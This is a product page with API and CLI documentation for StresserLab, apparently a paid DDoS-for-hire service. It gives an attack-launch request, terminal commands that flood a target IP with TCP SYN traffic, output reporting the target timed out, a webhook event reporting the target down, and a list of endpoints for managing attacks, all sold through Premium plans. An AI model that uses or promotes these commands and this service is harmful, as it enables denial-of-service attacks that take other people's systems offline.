RESTful API

Integrate StresserLab directly into your workflow. Our API supports all attack methods, real-time status polling, webhook callbacks, and full account management. Available on Premium plans.

REST JSON OAuth2 Webhooks Rate Limited
Launch Attack - POST /api/v2/attack
POST /api/v2/attack
Authorization: Bearer sk_live_a8f3...x92k

{
  "target": "192.168.1.100",
  "port": 80,
  "method": "TCP_SYN",
  "duration": 120,
  "servers": "all"
}

CLI Tool

Launch and monitor attacks directly from your terminal. Our CLI supports all API functionality with a clean, scriptable interface. Install via npm or download the binary.

Windows Linux macOS npm
stresserlab-cli
$ stresserlab login --key sk_live_a8f3...x92k
[OK] Authenticated as user_4291

$ stresserlab attack --target 192.168.1.100 \
    --port 80 --method TCP_SYN --time 120
[OK] Attack launched: ID atk_8x92k
[..] Bandwidth: 4.82 Gbps | Packets: 1.8M
[OK] Target status: TIMED OUT

Webhook Notifications

Get notified when attacks complete, fail, or when your target goes down. Configure webhook endpoints in your dashboard and receive real-time JSON payloads for every event.

HTTP POST JSON Payload Retry Logic HMAC Signing
Webhook Payload - Attack Complete
{
  "event": "attack.completed",
  "attack_id": "atk_8x92k",
  "target": "192.168.1.100:80",
  "method": "TCP_SYN",
  "duration": 120,
  "peak_bandwidth": "4.82 Gbps",
  "target_status": "DOWN",
  "timestamp": 1712505600
}
API ENDPOINTS

Available Endpoints

MethodEndpointDescription
POST/api/v2/attackLaunch a new stress test
GET/api/v2/attack/:idGet attack status & metrics
DELETE/api/v2/attack/:idStop a running attack
GET/api/v2/attacksList all attacks (paginated)
GET/api/v2/methodsList available attack methods
GET/api/v2/serversList server locations & status
GET/api/v2/accountAccount info, plan, credits
POST/api/v2/webhooksRegister a webhook endpoint

Ready to automate?

API access included with all Premium plans.

Get Premium Access